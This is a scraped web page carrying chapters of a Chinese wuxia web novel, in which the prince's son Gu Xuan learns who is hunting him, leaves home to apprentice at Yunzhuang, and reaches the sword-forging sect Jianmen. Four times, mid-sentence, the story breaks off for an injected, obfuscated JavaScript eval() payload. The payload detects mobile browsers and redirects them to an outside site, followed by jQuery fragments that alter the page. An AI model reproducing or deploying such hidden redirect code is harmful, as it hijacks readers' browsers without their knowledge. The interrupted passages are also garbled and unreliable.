生命太重了,重到他认为要是别人的生死与自己挂钩,他的痛苦也便翻倍了。因为服药多年压下来的头痛,在很多年没有找过他后,一次性拜访了个够,顾暄头痛得连话本的字都看不清。 他听顾映谈过一些,那晚除了紫衣人和红衣人,其余的人都是修为不低的死士,难怪拖了王府侍卫那么久。 下午陪着他的是秋萍,他信任的贴身侍女之一。顾暄写了张纸条,让他送到东街的木工铺老李手里,说自己画了几只簪子的样式,叫老李赶工做出来。 秋萍不疑,得空时便送出去了。第二天下午,秋萍等顾暄服完药后,递给他一封信。 顾暄抬眼,秋萍几不可察地点了点头。 屏退其他人,顾暄拆开信封 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278639|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,里面是几张纸条。 “王府贵客均为云庄内院弟子,不知师从何人。谢为其他二人师兄。” “城中百花楼见王府贵客。” “谢公子到王爷书房,半个时辰后出来,王爷神色不悦。” 顾柳青和顾映都有自己的消息渠道,顾暄自然也有,不过他的消息渠道正常情况下都是用来留意城中新到的稀奇玩意儿。 比如宝肆刚到的簪子、京城织锦庄在东临城的分部织锦阁的新款衣裳、百花楼歌女新写的新曲儿、茶庄里新的话本以及每年到东临城几次的南湘御兽人。 还有几个被他“策反”的王爷侍卫,专门用来王爷要请家法揍他时给他通风报信。 那三人是云庄弟子已经令人很不安了,更何况还是内院弟子。众所周知,云庄是大梁开国皇帝谢敬山一手创立的,立宗宗旨只有四个字:“为天下先”。 那位传奇皇帝曾是一名游荡江湖的闲散剑修,在建国后觉得江湖事不可全由江湖人解决,更何况建国之初不少江湖势力把手伸进朝堂。 于是他建立了云庄,表面上是偶尔协助朝廷查案的机构。后面云庄在朝廷的暗中支持下发展为九大门派之首,声名威望愈盛,吸引的能人异士、少年英才也越来越多。 云庄收徒面向全天下人,甚至是南湘和北蛮,弟子要么能文,要么能武,极少数的文武双全。谢氏有几任皇帝的暗卫不少出自这里,其他八大门派也会派弟子来混个经验,所以就造成了云庄今日有些不伦不类的地位。 说它是皇帝眼线和爪牙有失偏颇,说它一心一意不管朝廷事也很胡扯。更何况这次内院长老的弟子都来了,岂不是任务特殊?搞不好还跟朝廷那边牵扯甚多。 总之一句话,那三个穿得跟服丧似的的人来这里准没好事。 顾暄叫秋萍点火,自己则将那些纸条和信封扔进火盆里。府外的老李说东临城中无异常,有时候没事更让人恐惧,因为这意味着有变数,而变化是不可预测的。 夜晚,顾柳青的贴身侍卫禀报了这一件事。顾柳青看完一份卷宗,喝了一口茶,对顾暄这一行为默许了,道:“他不出门就行,也别拦着,闹不出什么波浪的。盯紧那几个人,别让他们到阿暄的院子。” “是。” 第二日,信上说那几位公子没事就去喝茶听曲,王爷依旧处理公务,一切正常。 一处茶楼里,云谨瞥了一眼走远的小二,道:“师兄,有人盯上我们了。” 谢公子说:“没事,他没有恶意。” 柳无喧摸了摸下巴:“好奇心不小啊,我还以为他被吓成一只鹌鹑了。” 第三天拿到信封时,顾暄皱了皱眉,他捏着那信封的厚度,觉得不对劲,里面应该只有一张纸条。 果不其然,但里面不是纸条,是一张纸,纸上写着“想知道答案来西南小院。”署名是谢公子。 如此,顾暄知道自己暴露了,和侍卫打了一声招呼后,带了两个侍女来到谢公子住的那处小院。叩门,说明来意,随后被人引到院子里。 一排竹子旁,有一张石桌,桌上有两人在下棋,另一人在观棋。 看见顾暄,柳无喧把棋子扔回棋奁,笑眯眯起身,对对面人道:“不下了,这次让让你,下次再赢你。” 坐在他对面的云谨轻哼了一声,也跟着起身了。 谢公子看了看棋局,觉得顾暄再来迟一些,这人就要输掉裤衩了。此时竟还能面不改色说出这种话,不知是脸皮厚八尺还是天生自信有余。 侍女在远处候着,顾暄给他们行过礼后,坐在最后一个位置上。 8. 拜师 棋盘被收了起来,有侍女端上茶,茶香四溢,抿了一口满齿留香,竟是龙井茶。 上等西湖龙井一年就那么点产量,大部分运到京城给公卿贵族,还有一部分卖给商贾富人,就连顾柳青手中的也不多。 谢公子道:“二公子今日来想问什么?” 他问得直接,没有理会顾暄派人盯着他们那件事。顾暄瞧他这看似有问必答的大方样,心下也觉奇怪,毕竟这人身份疑云,前几日还在试探自己。 顾暄说:“要杀我的人,你知道是谁吗?” 谢公子不答反问,“你知道天戎的左右护法吗?” 顾暄一愣,点了点头。十七年前大梁军队攻占天戎都城鹰城,天戎皇帝身死,但他的两位护法和一支秘卫却生死不明。 天戎皇帝座下左右护法之所以在中原武林如此出名,一是修为高,常伴天戎皇帝身侧;二是因为他们修炼的武功太邪门了。 谢公子说:“两次对你动手的人是前左护法的徒弟。前左护法六年前被我师父一剑毙命,他的一个徒弟继承了他的名号,叫紫魈,就是紫色衣服那个。左护法的另一个徒弟叫红鬾,就是红衣服那个。” 两人名字与他们的衣服相应,且带有鬼怪妖魔的字眼,听着就不是什么好东西。 顾暄心事重重,又问:“他们为什么要杀我?” 天可怜见,东临城与天戎相距上千公里,什么深仇大恨让这些人千里迢迢赶来杀他?如果是刺杀顾柳青还有点渊源,毕竟大梁对战天戎最后一战,北安王和顾暄的祖父老东平王都带兵支援西定王了。 可是他祖父早已作古了啊,他甚至都没见过他祖父。 几人对视一眼,谢公子说:“这事你可以去问王爷。” 最想知道的就是这个问题了,结果还要去问他爹。顾暄觉得手里的茶水都没滋味了。他也懒得掩饰了,耷拉着眼睛,说: “最后一个问题。谢公子,你们赶到这里,应该不止是为了查左护法的案子吧?” 柳无喧忍不住笑了一声,主动替他那师兄开口了,“聪明,我们几人四处奔波,最后来到东临城,还有一个目的。” “带走你。” 顾暄侧头,差点将一口茶水喷了出来,茶盏里有几滴茶水洒在自己的衣摆上,鹅黄色衣衫加深了些颜色。 他举着袖子咳嗽了几声,露出一对眼睛,奇道:“带我去哪?我爹可不准我出远门。” 这一个两个都想带走他,他成了什么趋之若鹜的香饽饽吗?带走他有什么用处?长得好看当吉祥物吗?顾暄百思不得其解。 谢公子等他咳完才出声:“京城,云庄。” 顾暄用一种看智障的眼神上下打量着这玉树临风的三个人,想了想,道:“你做梦还是我做梦?” 谢公子没理会他的无礼,换作王爷已经大呼小叫喊不孝子了,而他风度依旧,涵养绝佳:“六年前,我师父与王爷定下契约,约定让二公子十五岁后拜师云庄。无论武功如何,公子都应该走这一趟。” 云庄,曾经被公认为大梁九大门派之首。参和的朝堂事多了之后,这个第一门派的名号便取消了,不妨碍它还是一个极具吸引力的存在。 其余门派又没有能超越其他门派一大截的实力,所以九大门派之首当面不再提起,私底下谈起来还是默认是云庄。从这里出去的人,基本上不会差到哪里去。 这样的门派,无数人趋之若鹜,断没有请人做云庄弟子的道理。顾暄像看傻子一样看着他,心道王爷六年前是对谢公子的师父有什么大恩大德吗?让他专门派自己那几个俊俏的徒弟带自己进京? 顾暄搓了搓脸,再不搓就麻了,他讪讪道:“记错了吧,你们要带的人是我哥吧,你师父是不是眼睛不好,没想到他当初挑的人日后只会一点轻功吧……” 震惊之下,他当着徒弟的面内涵师父也没察觉,连最沉稳的谢公子握着茶杯往嘴里送的动作也顿了顿。 柳无喧哈哈大笑:“世子是个可塑之才,但师父当初指定了你。跟我们走一趟吧,王爷这几天看见我们老不乐意了,生怕我们拐了他的宝贝儿子……” 顾暄想也不想就拒绝了:“不去,如果你师父欠了王爷什么恩情的话就不用还了,京城离这儿隔了十万八千里呢。”说着竟要起身离开。 谢公子搁下茶盏,起身挽留,笑道:“公子留步,那些人为公子而来,公子继续待在王府怕是不安全。另一方面,公子就不想为死去的人报仇吗?若谈武学,云庄可排天下前三。” 这番话像钉子一样钉住了顾暄的脚步,他不是没想过这些问题,最亲的父兄如若因为他而有什么不测,顾暄光是想想心就颤了。 他侧过半张脸,阳光落在他半张脸上,另一半的脸在阴影下,明暗参半,让人看不清他的神色,“已经有两波人要带走我,云庄就不怕惹祸上身?” 谢公子道:“云庄有这个底气。” 顾暄侧过另外半张脸,仔细打量了他片刻,忽然道:“我还不知道你的身份。姓谢,又跟王爷的旧友有关,你是哪位王爷的儿子?” 谢予笑笑,提示道:“方才不还是说最后一个问题吗?” 顾暄心道肯定不止啊,但他懒得跟谢公子扯皮,转身便走了。 等他的足音消失在院外,柳无喧问:“他这是什么意思?云庄诶,他竟然拒绝?多少人撞破脑袋要进来。师父也是的,为什么非要让他来云庄拜师呢?恕我眼拙,除了脸,没看出他第二点长处了。” 谢公子重新坐了回去,叹道:“还是想想怎么面对王爷吧。” 秋萍跟在顾暄身后,见顾暄出了院子后脸上那点笑意不见了,整个人笼罩在低气压里。这时候的他竟和生气时的王爷有几分相似。 吃完晚饭,顾柳青在后院和顾映聊天,谈到顾映最近的习武进度。顾暄坐在顾映旁边,默不作声,握着个茶盏装出一副好似在认真听的神态。 顾柳青说完后,伸手在顾暄面前晃了晃,疑道:“阿暄,阿暄?怎么平白无故的发呆?” 顾暄回过神来,勉强一笑,道:“爹,我今天去见了谢公子,他跟我说了一些事。” 顾柳青并不惊讶这件事,只是脸色沉了沉,轻声问:“他跟你说了什么?”说着说着,他要去倒茶,半途被顾映制止了,他才反应过来自己教他们吃完饭不要立马喝茶,没想到今天自己差点犯了。 顾暄的声音有些低,摩挲着手上的青瓷盏,说:“谢公子说来杀我的人是天戎现任左护法,还说他的师父与你在六年前有个约定,要我去京城拜师云庄门下……爹,这些都是真的吗?” 顾暄暗暗留意两人的神色,顾映看着有些惊讶,但不知为何顾暄觉得他沉静过头了。怎么回事?难道他哥知道这事?顾映眉宇微蹙,看向一旁没吭声的顾柳青。 顾柳青沉默了一会,才说:“那你想去云庄吗?” 顾暄点点头,又摇摇头。云庄是习武之人的向往之地,但这意味着要远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278640|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离家乡和父兄,独自一人去人生地不熟的京城。 一波人要带走他还能巧合一下,两波人就巧合不了了。自己要真死了倒无所谓,就怕连累王府的其他人,毕竟王爷的武功就练得稀松二五眼。 顾柳青说:“你点头不是真心的吧,是怕连累王府吗?王府有江湖高手,也有军伍出身的侍卫,还不至于护不住一个你……” 顾暄点点头,又摇摇头,眼睛盯着地面,努力搜刮着自己去云庄的好处,“不是啊,去了云庄我可以学武功,还可以去京城看看,还可以……” 他忽然编不下去了。 顾映起身,掏出帕子给他擦眼泪,无声地叹了口气。 顾暄没骨气地哭了出声,“所以你们定下什么契约,要让我去拜师学艺?我就说了你不要随便跟别人赌,这下好了,人家来要人了……” 顾柳青无语片刻,“我没赌,怎么什么帽子都往你爹身上扣?不像话……是人家救过你,你欠庄主一个恩情。” 顾暄惊了一瞬,连眼泪都忘了掉了,一连三问:“什么啊?我怎么不知道?你们问过我同意没?” 还有,这到底是谁欠谁恩情?搞不清楚的还以为庄主欠了顾暄天大的人情。 顾柳青道:“你那个时候烧得糊涂,能记清就有鬼了。” 顾暄又问:“那那些人为什么要杀我?那几个公鸡…公子让我问你……”他太震惊了,导致一顺嘴就说错话了,得亏那三人不在。 顾柳青神色正经了起来,口气颇为严肃,“听着阿暄,你爷爷二十年前带兵支援西北军,我感觉和这个有些关系……” 等于没说。 他停顿了一下,道:“不过我劝你认真想一下去京城的事。一个恩情而已,大不了我们耍耍赖装作没这回事,我就不信庄主会来东临城抓人……” 言语间,那个有几分闲情有几分真情的王爷又回来了。 “……” “……” 顾暄一口喝尽杯盏中的水,诚挚道:“我要是有朝一日能炼成您的脸皮,就刀枪不入了,什么云庄雨庄的都不用进了。” “…没大没小的东西。” 又过了两天,顾暄再也没有找过那几位公子。他不是在院子那颗大树下躺藤椅上睡觉,就是看话本子,甚至比以前还懒了。 柳无喧听到消息后一脸吃惊,道:“这王爷这么无赖的吗?这不是明摆着要毁约?”顾暄这副作派少不了他那个好爹的纵容。 院门处传来一声没好气的声音,“胡说,谁无赖?我看你们那师父就很无赖,书生样,无赖状。本王再怎么也比不上他一点皮毛。” 柳无喧刚才还在讲人坏话,现在正主来了,他讪讪地笑了一声,和两位师兄弟一起行礼,道:“王爷真是耳听八方,眼观六路。” 顾柳青意思意思地摆了摆手,似笑非笑:“耳朵不灵点怎么听你讲我坏话?” 谢公子笑道:“我看王爷今日来,应该不会是为了柳师弟来兴师问罪的。公子可好?” 顾柳青寻了张椅子坐下,笑容敛了敛,“我是真没想到你们这么执着……不过本王也不是什么不守信诺之人,我已经让阿暄自己考虑了,去不去看他。” 柳无喧借着举茶盏到嘴边的动作,跟云谨说:“王爷之前和师父约定时可没考虑有没有和公子商量。” 声音不大不小,足以让王爷听见。 云谨假装没听到,低头喝茶,留他一人面对王爷的凝视。 9. 离开 谢公子笑道:“既然如此,我们便等公子的消息了。” 等人走后,柳无喧道:“你真的信他的话?那小子真会跟我们走?要是失败了,我可不想看着师父那张臭脸。哎呀我就说师父临行前笑得那么不怀好意准没好事,感情是又坑了我们一把,就应该让他来请这尊大佛的……” 谢公子一向沉稳端庄,行事不紧不慢,从不做没有把握的事,少年老成在他身上体现得淋漓尽致。 饶是如此,他也罕见地哼了一声,对着他那话多的师弟说:“无喧,你起这名字真是白费了。” 柳无喧瞪起眼睛,当场要闹了。 云谨手里握着笛子,看着这俩师兄弟,忽然说:“还有两天我们就要往剑门了,你们觉得他哪天会找我们?” 柳无暄坐在躺椅上,仰头看着满目葱茏,唉声叹气:“我感觉他不会跟来,那小子看着没受过什么苦,看着也是还没有开脉,活脱脱的王府公子。师父真是的,拐人家来吃苦做什么……” 云谨和谢公子对视一眼,云谨笑笑,给自己倒了杯茶,道:“我感觉他后天会来。” 谢公子说:“那我赌大后天。” 顾暄睡到日上三竿,吃了早饭后又到院子里小憩了一个时辰。吃过午饭后,他看了几页王爷前几个月写的曲子,帮王爷改动了几个字。 午觉后,他去找顾映。吃完晚饭和喝完药茶后,顾暄昏昏沉沉,又回床上睡了。 第二天,他窝在书房里不知干啥,出来时袖子蹭了一手墨水。 柳无喧一边觉得可惜,一边担忧完不成任务那死鬼师父会怎么折腾他们,又一边幸灾乐祸,毕竟云谨就赌输了。 等到戌时,几人都下了几盘棋,柳无喧输得都快当掉裤衩了,顾暄还没过来。 云谨叹道:“难道是我看走眼了吗?” 柳无喧起身,伸了个懒腰,那骨头咔咔作响,他说:“早点回去休息吧,要是我是王府公子,食邑千户,出门侍者如云,我也不乐意大老远跑到京城受苦啊,这不是人之常情吗……师父那张嘴说得厉害,大不了完不成任务就让他老人家自己到东临城呗,看看谁更无赖。” 另外两个人没吭声。 次日早晨,三人吃过早饭后便跟东平王告辞。谢公子是这几个人中最会做人的,由他说几句“感谢王爷款待”“王爷招待细致”之类的话。 顾柳青笑着说不敢,实际上已经巴不得他们尽快滚蛋了。柳无喧几人看着他那几乎摆在脸上的巴不得几人麻溜滚的表情,觉得这人真是心口不一。 话到尾声时,谢公子状似无意地问:“公子呢?还在休息?”毕竟今早顾映也来送行,顾暄却没看见人影。 一道带着点困意的声音从他们身后响起,“我在这里。” 众人回头,只见一袭青衫的顾暄背着一个包袱慢吞吞地走过来,表情确实是有些困倦。 顾柳青叹了口气,顾映面无表情。 谢公子真真实实地笑了一下,他真的赌赢了。他微微俯身,对顾柳青抱拳道:“王爷,公子我们就带走了。在下保证,四年后公子会毫发无损地回到东临城。” 王爷摆摆手,已经不太想跟他说话了。他冲顾暄招招手,顾暄来到他跟前,伸手抱了一下他。顾暄还在长身体,他的身高还不到顾柳青的肩膀高。 顾柳青揉了一下他的头发,语气轻柔,“得空时给我和你哥哥写信,不想学了就回家,王府永远有你的一席之地。我在京城也有一些朋友,都写在信上了,你需要时可以找他们。” 顾暄点了点头,接过顾柳青递过来的一封信。 柳无喧在一旁看着,感慨道:“父母为子女,则为之计深远。” 顾映看着这个比自己小三岁的弟弟,现在要出远门了,走的比自己还远。他递过去一个香囊,香囊外挂着青色的流苏,跟他今天的衣服莫名的搭。 顾映温声说:“安神用的,里边也混有一些药,你晚上住旅店时可以放在枕头下。”原来是怕他换了床不习惯。 顾暄点点头,最后一次看了王府众人,顾柳青、顾映、秋萍、魏大哥……这些陪了他很久的人。 马车很大,足够摆下一张四方桌,坐下四个人。马车外有王府的侍卫护送,确保顾暄到了京城后才离开。 顾暄从上了车后就闭着眼,好似早起对他来说真的很困。他在心里细数着过了多久,经过了哪些地方。过了老李的木工铺子,过了百花楼,过了织锦阁,过了陈大夫的药铺,过了锦春街…… 这些路是他走过很多遍的,即使是闭着眼睛根据车马快慢,他也知道此时到了哪里,几年前那说话跟唱歌似的的教书先生喊他背书他都没有背得那么熟。 其他三人在喝茶,谢公子手上还拿着本棋经。柳无喧受不了这沉默的气氛,掀开帘子看了眼外面,自动跟顾暄拉近关系:“阿……阿暄,你要不要看看外面?再不看就出城了,这一去可能是几年都不回来了。” 坐在他旁边的云谨皱着眉看了他一眼,真是哪壶不开提哪壶。他一手肘过去,意料之内的听到了那人“嗷”的一声。 顾暄眉心起了一道褶皱,他睁开眼,面无表情地看了眼柳无喧,柳无喧这才发现他的眼尾有些红。念着这人救过自己,顾暄心里数了十个数,才低着头给自己倒了杯茶,道了声不用。 越看越伤心,不如不看。 柳无喧被肘击后,先后收到来自谢公子和顾暄的凝视,彻底老实,像个修了闭口禅的僧人一样寂静无言。 他那时才骤然想起,顾暄不过十五岁。 顾暄话虽如此,但在出了城门有一段距离后,他又忍不住掀开帘子看了眼外面。城门高大,上面的“东临城”三字苍劲有力,为给东临城改名的文帝亲笔书写。 城门下许多来来往往的人,商户、读书人、小孩、游人……贩夫走卒,众生百态,繁华与烟火气的结合,这就是东临城。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278641|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看了会,又把帘子放下。 谢公子开口道:“我们先去剑门,无喧要去换一把刀。剑门每年出刀剑上百柄,有机缘的话你也可以取到自己的剑。” 取剑要用内力,他这种还没开脉的属实是第一步都没迈出。仿佛是看穿了他的想法,谢公子笑笑,道:“我探过你的脉,虽然一开始也是受到阻滞,但是有些奇怪。我写信问过神医谷的人,你的经脉可能是被一个修为很高的人封住了。到了剑门那位神医谷的医师也在,我让她帮你瞧瞧。” 顾暄愣住了,“封住了?谁会封我的……”他倏地止了口。 谢公子知道他在想什么,忙出言安抚,“不是王爷,封你经脉的人应该是三重境上境以上,王爷的修为还没有那么高。” “况且——”他说,“有人这么做,一定有他的理由。” 不久前自己还自嘲着说自己是个只会点轻功的闲散人,今天却被告知经脉被封住了,真不知是喜还是悲。 顾暄已经不想费力气去想其他事情了,总感觉这一切逐渐扑朔迷离起来。 他的眼睛里透着点迷茫,问:“那你叫什么呢?他们都叫你谢公子,我还不知道你的名字呢。” 惊讶之意在谢公子脸上一晃而过,他将茶杯搁在桌子上,正色道:“我叫谢予,给予的予。” 当今大梁宣景皇帝的名讳叫谢承景,有“承天景命”之意。皇帝的几个兄弟都是”承“字辈的。 顾暄迟疑了一下,把刚要问出口的“皇族?”咽了下去,毕竟人家不主动提,他没必要问下去。没准人家还是皇帝很偏的亲戚呢,问起来反而尴尬。 想着接下来从东临城到剑门这四天,几个人都是一块相处的,秉持着知根知底的原则,顾暄一不做二不休,问柳无喧:“柳公子,你是青州益城人?” 柳无喧大方承认:“是啊,青州益城柳家,以后请阿暄多多关照了。你名字最后一个字和我名字最后一个字读音相同,这难道是缘分吗?” 云谨用折扇遮住半张脸,轻笑着摇摇头,他也并非像在初见那夜一般冷,也可能是他的冷多数面对喋喋不休且有用信息不多的话痨师弟。他说:“读音相同,但是你说的话是人家的几倍多。” 赶在柳无喧呛声之前,云谨就冲顾暄笑了笑,自我介绍道:“云谨,京城云家。” 柳无喧在他一旁补充道:“一年前致仕的左相就是他祖父。” 顾暄记得王爷跟他说过,这位左相在职时清正廉洁、兢兢业业,在民间声望很好。左相有个儿子在礼部就职,不知道是不是云谨的父亲。 顾暄说:“早闻左相大名,王爷对左相十分景仰。” 云谨的表情带着点怀念,“是啊,我祖父曾经在书院做过一段时间的教书先生,王爷便是他的学生。前几日王爷还托我向祖父问个好。” 几个人说明各自身份后,对彼此有了更深的了解,气氛也不像一开始那样拘谨了。 10. 剑门 一路走走停停,四日后,来到西南一带的剑门。剑门这个门派的剑法不出名,出名的反而是铸剑师以及铸剑师锻造出来的剑。 当世三大名剑,为云庄庄主的玄正剑、剑仙林炀的乘风剑以及南湘无名剑仙的无名剑,除去无名剑,其余两把名剑均是剑门锻造出来的。 剑门在山上,所以几人在山脚下稍做休整便开始徒步登山。 从山脚下往上看,山顶的剑门高不可攀,让人生出一种错觉:好似极尽全力也无法登顶。 台阶两千五百级,谢予在昨晚便透露了这一事实,让顾暄做好心理准备。 几人爬梯,柳无喧一边拾级而上,嘴也没闲着:“哎呀我服了,剑门的人也像我们这样爬上爬下吗?下山一趟多麻烦啊。” 谢予:“不是。” 他指了指某处方向,几个人顺着他的手指看过去,发现云雾缭绕间,有几根像手臂的一半那么粗的吊索。 谢予说:“剑门的人不像江湖上其他门派,他们无事不下山,为的是锻造一心向道的坚定心性。生活物资等都靠这些吊索从山脚下运上来。” 除了他们四个,还有不少人也在登山,这些人身着各色服装的都有:象征赤城的红色圆领窄袖袍,象征九山派的青色长衫,象征锦宫的湖蓝色交领袍…… 谢予几人在东临城穿着象征云庄的兰花白袍,在今天却换了一身不同于以往的服装。几人混迹其间,倒像个来剑门见识一下的散修。 剑门每年铸剑不计其数,天下大部分有名的剑都是出自这里,一代代铸剑师呕心沥血,才有了如今剑门享誉天下的美名。 半个多时辰过去,几人终于看到了剑门的匾额。靠近,便感受到一道浓厚的剑气,连顾暄都微微止步了,觉得面前有一道看不清的屏障。细看,“剑门”二字是由不同的两个人写的,“剑”字狂放不羁,“门”却多了一分收敛。 谢公子示意他站过来自己这边,用内力替他挡去了一部分剑气,解释道:“一百三十六前,两位铸剑师于此创建了剑门,两人分别用剑气刻下一字。” 大梁开国一百七十四年,云庄在开国那一年成立,伴随着新王朝的诞生。剑门成立时间也不短了,这道剑气竟然还没有随天地消散,当时的两位铸剑师是何等人物。 云谨仰头看着那两个大字,折扇有一搭没一搭轻敲着自己的掌心,感慨道:“没想到一百三十多年过去,剑气依旧。” 剑气被谢予挡去了一部分,纵是如此,顾暄迈过那道大门时还是不自觉地颤抖了一下。 这时,一道带着笑意的声音传来,“没有内力的人,也能上来?还是靠同伴,啧——” 顾暄转过头,看见一位约莫十七八岁的红色锦袍少年站在自己的不远处,他的腰间别着一只成色不错的玉笛,约莫一掌宽的腰带上纹着凤纹。他的眉眼间懒洋洋的,好似对什么都不在乎,就差将“我是大爷”写在脸上了。 虽然他生得比自己逊色一点点,虽然他的脸上是带笑的,虽然他的话听起来是带着笑意的,但不妨碍顾暄想打他。 顾暄笑眯眯地说道:“管天管地,你管我怎么上来的?反正我就是上来了。” 红衣少年哼了一声,眼睛一斜,刚要说话,就瞥到顾暄旁边的谢公子。 谢公子没正眼看他,只露了个侧脸,侧头眯了他一眼。 红衣少年一愣,原本环抱在胸前的手收了回来,复而又抱了回去,想来想去还是咽不下这口气,便又哼了一声,抢在顾暄他们之前走了上去。 走出十来米远,他听到顾暄小声诧异道:“大晌午的,剑门什么时候有猪了?叫得还挺像的。” “……” 习武之人多耳目聪明,纵使隔了几丈远,那红衣少年依旧听到了这内涵的话。他脚步一顿,强忍住那股想回头的冲动,一气之下竟然又下意识大声哼了一下,拂袖而去。 顾暄:“…红炮仗。” 穿红衣服,一点就炸,不点也炸,说他出身赤城那位脾气如火的萧焱掌门顾暄都信。 柳无喧看到这一幕扶着栏杆笑得直不起腰,直言找到知己。云谨看着他跟顾暄勾肩搭背一副好哥们的模样,摇了摇头,和谢予错开他们两步并肩往前走。 微风拂过,落后几米的两人的嘴唇不怎么动,但却有细微的声音落在风中。 云谨:“刚才那谁?我看他怎么有点怕你。” 谢予:“看他掌心与虎口处,茧子厚重。我跟他倒没见过面。” 云谨的视线落在百米外那抹张扬的、冒着怒气的红色身影上,“习刀……赤城?还是北地那边的?来的人好多啊。” “来的人好多啊。”顾暄说。 一路上,柳无喧跟他解释了一下剑门这几日为何这么多人。 “剑门每年这个时候都这样,铸得剑多了也得有人用啊,不然就成一堆废铁了。取剑是一方面,另一方面么,也想‘结个善缘’。” 剑门多数为铸剑师,在用剑上比不过以剑立宗的九山派,但它能稳居西南一带并在九大门派中保有一席之地,就足以说明这个“善缘”不简单了。 顾暄问:“怎么取剑?剑看上谁就跟谁走?” “这问题问得好。”柳无喧含笑地看了他一眼,道:“自然不止,要是这样就没有那些弯弯绕绕的了。取刀和取剑得看实力,看机缘,有时候也要看手头宽裕和交情。” 过了那重几人高的大门后,再走百来级的阶梯,就真正到了剑门。训练有素的灰衣弟子在门前接待往来客人。 顾暄看见谢予递给那门生一枚坠着一颗红珠子的莹白玉佩,玉佩上有一朵栩栩如生的云,云下刻着一个“谢”字。 那侍人看到那枚玉佩,神色更加恭敬,引着几人到下榻的地方休息。他们住的是八人间的院子,有单人休息间。 很不幸的,一进门,顾暄几人就看到一抹红色身影站在院子里,正指使自己的侍卫把他的行李放置好。 什么枕衾换上自己带来的,什么房间内点上安神香,什么给自己泡一壶上好的碧螺春,最后吐槽几句剑门待客不周,住宿条件跟荒野求生似的。 顾暄真是想在心里给他鼓掌,饶是追求精致的王爷也没眼前这位公子哥事儿多。他要是生在东临城,王爷都得甘拜下风。 两位灰衣侍人站在那红炮仗的不远处,一个望天一个望地,脸色俱是铁青。 那少年听见足音,一回头,看到他们,脸色跟见了鬼似的。 顾暄心道晦气,也不理睬他,和几人径直走到各自休息的房间。 几人沐浴过后,几日赶路的疲倦一扫而空,聚在谢予的房间吃晚饭。 吃完饭,谢予嘱咐顾暄今晚早些休息,明天带他去看看别人如何取剑。 出来时碰见几个侍卫提着几个食盒到那红炮仗的房间,柳无喧眼睛尖,一眼就看出了食盒上的标记是山下有名的一家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278642|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒楼。他“啧啧”了两声,羡慕道:“真是奢侈。” 第二日,顾暄穿着自己喜欢的鹅黄色衣衫出门时,发现柳无喧穿上了云庄特有的兰花白袍,其余二人还是着常服。 果不其然,那云庄的白袍,一路上吸引了不少视线。侍人领着他们到一处高台,从这里可以看到下面有个擂台,据说取剑就在这里进行。 顾暄看了看不同的聚在一堆的各色门派服装,心道就在这儿取剑,要是几位大能出手过重,高台和高台上的看客不就遭殃了吗? 没多久,一位身着灰衣、位于上首的中年男子起身,他是剑门的城主魏巍。他照例说了几句场面话,然后朗声宣布取剑正式开始。 随后,顾暄看到九个人站在擂台附近,每两个人相隔的距离差不多一致。他们嘴里振振有词,同时将佩剑往空中一抛,掌心快速结印。 与此同时,位处上首的魏巍抛下一枚掌心那么大的珠子,然后顾暄看到擂台附近生气了一个淡蓝色的结界,随后淡蓝色慢慢变浅,趋于无色。 云谨道:“沧蓝珠,九人剑阵,好久没看到了。” 顾暄记起来顾映的习武师父说过,沧蓝珠配上九人剑阵,可开启一个大结界。里面的人看不到外面的景象,但是外面的人可以看到里面的景象,听到里面的动静。 剑门今年铸剑一百二十八柄,中等剑三十一柄,上等剑九柄;铸刀十五柄,中等刀两柄,上等刀一柄。顾暄听到刀剑也划分等级时不由得觉着奇怪,不知不觉便将这一想法说出来了。 云谨说:“刀剑的材质和铸造时间不同,成品自然也不同。有的轻得像一本书,有的却重如千钧,有的削铁如泥,有的却连劈木材都费劲,这就是刀剑划分等级的原因。” 顾暄坐在桌前,摸了摸下巴,道:“我还以为武器这东西,看的是主人的实力。”毕竟实力强的人用菜刀都能舞得虎虎生风。 话音刚落,不知是有意还是无意,隔壁桌传来一个讨厌的声音,“唉,乡巴佬。” 